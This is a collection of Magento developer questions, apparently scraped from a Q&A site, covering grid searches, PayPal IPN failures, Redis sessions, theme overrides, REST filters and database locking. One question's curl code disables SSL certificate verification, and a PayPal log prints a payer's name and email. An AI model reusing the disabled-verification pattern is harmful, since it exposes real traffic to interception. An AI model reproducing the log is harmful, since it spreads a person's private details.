    $collection = Mage::getResourceModel($this->_getCollectionClass());

    $collection->getSelect()
           ->join(
           $customer_entity,
           'main_table.customer_id = '.$customer_entity.'.entity_id', array('customer_email' => 'email'));
    $this->setCollection($collection);
    return parent::_prepareCollection();
}

and field definition:

        $this->addColumn('customer_email', array(
        'header'    => Mage::helper('Sales')->__('Email'),
        'width'     => '100px',
        'index'     => 'customer_email',
        'type'        => 'text',

    ));

what to do to make it work ?
To display email I can just add a column but then while I'm trying to search by email magento throwing an error:

  SQLSTATE[42S22]: Column not found: 1054 Unknown column 'customer_email' in 'where clause', query was: SELECT COUNT(*) FROM sales_flat_order_grid AS main_table WHERE (customer_email LIKE '%custom%')


texts: How to show Popup form at the time of shipping page?

texts: I want popup form at the time of shipping page. How can I do it? Can you please suggest me anything for this?


texts: My menu is broken in Magento and the browser says js file is disabled

texts: I have Magento 1.9.3.1 installed on my site. Recently I have hired a person to work on the site's speed optimization issue. But he has done something wrong and now my menu and the footer disappeared suddenly. I checked everything. Checked the blocks from CMS>Static Blocks. Then also checked the theme settings, enabled template path hints and checked my head.phtml, index.phtml..Everything seems fine. The theme settings as well as the template files are ok but the menu is missing. After that I ran my site through a proxy site and then I can see the menu appeared there but the menu seemed broken and it shows JavaScript seems to be disabled in your browser. I have attached the screenshot below. I have also cleared the cache from the admin panel as well as from var>cache folder. I have no idea how to overcome that. Can anyone please help?


texts:
Maybe anyone can help solve this issue.
Everything worked fine ages, and yesterday, PayPal post back failed. It stopped updating any statuses.

Log is showing

[postback_to] => https://www.paypal.com/cgi-bin/webscr
[postback] => mc_gross=1.00&invoice=100002123&auth_exp=08%3A29%3A30+Oct+19%2C+2014+PDT&protection_eligibility=Ineligible&address_status=unconfirmed&item_number1=test&payer_id=8EUEYETHYRST8&tax=0.17&address_street=%D1%84%D1%8B%D0%B2%D1%84%D1%8B%D0%B2%D1%84%D1%8B%D0%B2&payment_date=08%3A29%3A30+Sep+19%2C+2014+PDT&payment_status=Pending&charset=UTF-8&address_zip=dsfsdf&mc_shipping=0.00&mc_handling=0.00&first_name=Sergey&transaction_entity=auth&address_country_code=LV&address_name=%D1%8B%D0%B2%D1%84%D1%8B%D0%B2+%D0%B2%D1%84%D1%8B%D0%B2&notify_version=3.8&custom=&payer_status=verified&business=Info%40eurofishshop.com&address_country=Latvia&num_cart_items=1&mc_handling1=0.00&address_city=%D1%84%D1%8B%D0%B2%D1%84%D1%8B%D0%B2&verify_sign=ALBe4QrXe2sJhpq1rIN8JxSbK4RZAc6KHII6HCE8Yo15IkQfFCf9w2Yp&payer_email=ianjanho%40gmail.com&mc_shipping1=0.00&parent_txn_id=&txn_id=1WA86899Y17300749&payment_type=instant&remaining_settle=10&auth_id=1WA86899Y17300749&last_name=Yakovel&address_state=J%C4%93kabpils&item_name1=test&receiver_email=Info%40eurofishshop.com&auth_amount=1.00&quantity1=1&receiver_id=BU6HTDF6LYK4L&pending_reason=authorization&txn_type=cart&mc_gross_1=0.83&mc_currency=EUR&residence_country=LV&transaction_subject=&payment_gross=&auth_status=Pending&ipn_track_id=b4311d9ee7e6&cmd=_notify-validate
[postback_result] => HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 285
Expires: Fri, 19 Sep 2014 15:30:16 GMT
Date: Fri, 19 Sep 2014 15:30:16 GMT
Connection: close
Strict-Transport-Security: max-age=63072000

<TITLE>Access Denied</TITLE>

Access Denied

You don't have permission to access "http&#58;&#47;&#47;www&#46;paypal&#46;com&#47;cgi&#45;bin&#47;webscr" on this server.

Reference&#32;&#35;18&#46;df9b7b5c&#46;1411140616&#46;418048a

    [exception] => PayPal IPN postback failure. See paypal_unknown_ipn.log for details.
    [__pid] => 26563


texts: Magento2: Dynamically save system xml custom field issue

texts:
$url = "http://api.abc.com/";
        $ch = curl_init($url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            'accept: application/json'
        ));
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_getinfo($ch);
        $response = curl_exec($ch);
        curl_close($ch);
        $response;
        $this->configWriter->save('grazz_auth/graz_settings/expiry_date', $response);

This is saving on the second time submit on save config button. Not working on first save.

Any idea?

Thanks


texts: Session table growing after switch to redis

texts:
We recently switched our sessions to REDIS and we noticed that our session table in the database is growing and is now 15gb

Here is my config

 <session_save><![CDATA[db]]></session_save>
             <redis_session>
                <host>xxxxx</host>
                <port>6379</port>
                <password>xxxxxxxxxx</password>
                <timeout>2.5</timeout>
                <persistent></persistent>
                <db>0</db>
                <compression_threshold>2048</compression_threshold>
                <compression_lib>gzip</compression_lib>
                <log_level>4</log_level>
                <max_concurrency>6</max_concurrency>
                <break_after_frontend>5</break_after_frontend>
                <break_after_adminhtml>30</break_after_adminhtml>
                <bot_lifetime>7200</bot_lifetime>
              </redis_session>


texts: Magento cron not running properly.any other methods

texts: For some strange reason my cron jobs are not running anymore the last in magento 2.3.4 cron jobs on the server are running well without any problems.But after some time cron not running.Can you help me to running without any delay.


texts: Override template phtml file in magento 2?

texts:
First
I have created a module and place it in a file I want to override

  \app\code\Vendor\Module\view\adminhtml\templates\widget\grid\extended.phtml

The original location is

  vendor\magento\module-backend\view\adminhtml\templates\widget\grid\extended.phtml

Second
I added backend_widget_grid.xml located in

  \app\code\BodyMod\OrdersPopupButton\view\adminhtml\layout\backend_widget_grid.xml

And the content of the xml file is:

<?xml version="1.0"?>
<page layout="1column" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceBlock name="widget.extended">
            <action method="setTemplate">
                <argument name="template" xsi:type="string">Vendor_Module::widget/grid/extended.phtml</argument>
            </action>
        </referenceBlock>
    </body>
</page>

I don't see my edits so can somebody tell me where is my mistake?


texts:
I cannot make translation for Magento 2. What I've been doing is:

Created a custom theme
Now I want to apply some german translations
Made a csv in vendor/theme/i18n/de_DE.csv
Tried to bin/magento i18n:pack app/design/frontend/vendor/theme/i18n/de_DE.csv de_DE

But then an error occurs I don't know what to make of:

  Each row has to consist of 4 columns: original phrase, translation, context type, context value

My .csv content looks like:

"Search entire store here...", "Produktsuche"

What's the right way to make some lean theme tranlations without building an own language pack?


texts:
I'm trying to get a table name with prefix.

I currently try to use getConnection()->getTableName() but that doesn't work.

I've seen people suggesting to use $this->_resource->getTableName() but they don't say what $this refers to...

My class is this

class InstallSchema implements \Magento\Framework\Setup\InstallSchemaInterface
{
    public function install(
        \Magento\Framework\Setup\SchemaSetupInterface $setup,
        \Magento\Framework\Setup\ModuleContextInterface $context
    ){
        $installer = $setup;
        $installer->startSetup();

        foreach (['sales_order_address', 'quote_address'] as $tableAlias) {
            $installer->getConnection()
                ->addColumn($installer->getConnection()->getTableName($tableAlias),
                    'shipping_ups_pickup_id',
                    [
                        'type'      => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                        'nullable'  => true,
                        'length'    => 40,
                        'default'   => null,
                    ]
                );
            $installer->getConnection()
                ->addColumn($installer->getConnection()->getTableName($tableAlias),
                    'shipping_additional_information',
                    [
                        'type'      => \Magento\Framework\DB\Ddl\Table::TYPE_TEXT,
                        'nullable'  => true,
                        'default'   => null,
                    ]
                );
        }
        $installer->endSetup();
    }
}


texts: In magento 2 mousehover on swatch disable non configurable option?

texts:
In Magento2 default swatch function is we are select the color swatch disable the nonconfigurable option like size is not there.Like below image

http://prntscr.com/lh9jvl

how can i write the same functionality with mousehover on configurable swatches

thanks,


texts: How to override invoice pdf file in magento2.2.0?

texts:
I want to override vendor/magento/module-sales/Model/Order/Pdf/Invoice.php and vendor/magento/module-sales/Model/Order/Pdf/Items/Invoice/DefaultInvoice.php to show custom attribute in Invoice Pdf In magento2.2.0.
Any help would be Appreciated.


texts: related products getProductUrl() giving url without rewrite

texts:
I'm loading my related products like this:

 <?php $_relatedProducts = $_product->getRelatedProducts(); ?>

    <?php foreach ($_relatedProducts as $_item):
       $_item = Mage::getModel('catalog/product')->load($_item->getId());  ?>

       <a href="<?php echo $_item->getProductUrl() ?>">
       <?php echo $this->htmlEscape($_item->getName()) ?>
       </a>

    <?php endif; ?>

for any reason i'm getting this weird url

example.com/catalog/product/view/id/393/s/productname/category/4/

with $_item->getProductUrl();

but the product itself has a canonical with the right url, which should be:

example.com/productname

how can i get this url in my loop?

I know that with a normal collection i can add ->addUrlRewrite(); and it works... but here?

Thanks a lot!


texts: logo not show on right position in checkout page in magento2

texts:
Below is my checkout page file codec :

<referenceBlock name="header.wrapper" remove="false"/>
<referenceBlock name="top.search" remove="false" />
<referenceBlock name="header.panel" remove="false" />
<referenceBlock name="catalog.topnav" remove="false"/>
<referenceContainer name="footer-container"  remove="false"/>


texts: Magento 2 rest api get all products of a parent category

texts:
I want to get the products of a given category id.

http://magentohost.com/rest/V1/faya-capbargainapi/product-list?searchCriteria[filter_groups][0][filters][0][field]=category_id& searchCriteria[filter_groups][0][filters][0][value]=33& searchCriteria[filter_groups][0][filters][0][condition_type]=eq&searchCriteria[pageSize]=10

The above rest api call will return all the products for category id 33.
The category 33 is a child of category id 30. Category 30 has another two childs. My requirement is to get all products under the category id 30.

I tried for http://magentohost.com/rest/V1/faya-capbargainapi/product-list?searchCriteria[filter_groups][0][filters][0][field]=category_id& searchCriteria[filter_groups][0][filters][0][value]=30& searchCriteria[filter_groups][0][filters][0][condition_type]=eq&searchCriteria[pageSize]=10

But it returns no products. I tried to change the "eq" keyword to 'in', 'finset' etc. But nothing works.


texts: Where to find the Catalog's predispatch event handler for sanitization?

texts:
Let's say we have a list of wrenches:

https://www.toolworld.com/hand-tools/wrenches?order=price

I'm trying to find the predispatch event handler for the Catalog's product list page so that I can sanitize the 'order' parameter's input before it is sent to the controller.

I'm new to magento and have been having trouble finding it.

Where is it?


texts:
Is there a way to change Magento back-end login and password using just cPanel and PHPMyAdmin? I cannot reset the password and if I attempt to reset the password It will email the developer who tried to screw me over. I now have a website I cannot log into. Any help will be greatly appreciated. Thanks.

---Update

So I changed it but I still unable to login > See pic. Is there something I'm missing?


texts: REST API not responding properly to Postman requests after server put online

texts:
This might be a newbie question as I am one. But earlier when my friend(at a different location) was using local server for magento the API calls were working fine for me . But recently he put the website on an online server and the same exact calls do not work. I reauthorized the API and got new Bearer token to no avail.
Here is what I receive now. I even tried with adding index.php) but still same error of The consumer is not authorized to access resources.
I thought I further have to get an admin token apart from the API token which I had given access to everything. So i tried this but you can see the error of Request does not match any route
I have been stuck at it for a very long time, why did the API calls start behaving like this just because of putting the server online, or is there some other thing as well? I think it is because of server because the same calls were working perfectly fine before. Can someone guide me how can I access thing now, what all changes to API or additional steps I have to take? Thank you.


texts: I want to create orders in Magento2. Orders have bundled product

texts: I want to add orders in Magento 2. Orders have bundled products.Is there specific function/parameters we need to use to store bundled product orders ?


texts: How do I upload css and js files to my magento site through the admin console?

texts: Is there a way to upload css and js files to the the site's /css and /js folders through the Admin Console? Currently, the only way I envision this possible is through gaining ftp access to the website.


texts:
I've been looking around and haven't found any definitive heuristics to detect whether or not a code-base is affected, so I've resorted to performing a recursive file scan that matches a list of regular expressions.

This has been met with varying success, as my regex powers are limited and I am getting a boatload of false-positives.

According to the technical release notes the following patterns are invalid:

$collection->addFieldToFilter('`field`', array('eq'=>3));

$collection->addFieldToFilter('(field1-field2)', array('eq'=>3));

Here is what I have thus far:

~("|')[^'|^"]*(\=|\-|\<|\>|\>|\!).+("|')~
~addFieldToFilter\(("|'){\$~
~addFieldToFilter\(("|')\s+`~

How can I improve these expressions to produce fewer false-positives?


texts:
We run a CentOS DirectAdmin install with MariaDB 10.2.14 where on Magento 1.9.3.8 is installed.

Currently our DB locks very often when a proces runs, so all other processes are waining until the current proces finished. This is quite a problem, because for example also the adding to cart process is waiting in that case and people can not order.

How can we prevent the DB from beining locked and solve this issue?

Server:

6x Intel Xeon
32GB RAM
500GB SSD

My.cnf:

[mysqld]

bind-address = 127.0.0.1
local-infile=0
innodb_file_per_table=1
innodb_file_format=barracuda

slow_query_log = 1
slow_query_log_file=/var/log/mysql-log-slow-queries.log

key_buffer = 250M
key_buffer_size = 250M
max_allowed_packet = 128M
table_cache = 512
sort_buffer_size = 7M
read_buffer_size = 7M
read_rnd_buffer_size = 7M
myisam_sort_buffer_size = 64M
tmp_table_size = 190M
query_cache_type = 1
query_cache_size = 220M
query_cache_limit = 512M
thread_cache_size = 150
max_connections = 225
wait_timeout = 300
innodb_buffer_pool_size = 7G
max_heap_table_size =180M
innodb_log_buffer_size = 36M
join_buffer_size = 32M
innodb_buffer_pool_instances = 7

long_query_time = 15
table_definition_cache = 4K
open_files_limit = 60K
table_open_cache = 50767
innodb_log_file_size= 128M
innodb_lock_wait_timeout = 700


texts:
I have the problem that I receive order confirmation eMail twice. One is to the copy email I have in noted in the magento backend and one is also to that email and to the customer. So I keep receiving the order confirmation copy twice.
I cant find the problem or if I remove the order copy from the backend I don't receive anything, when I add it back again, I receive it twice again.

Anybody ever had the same problem and a solution?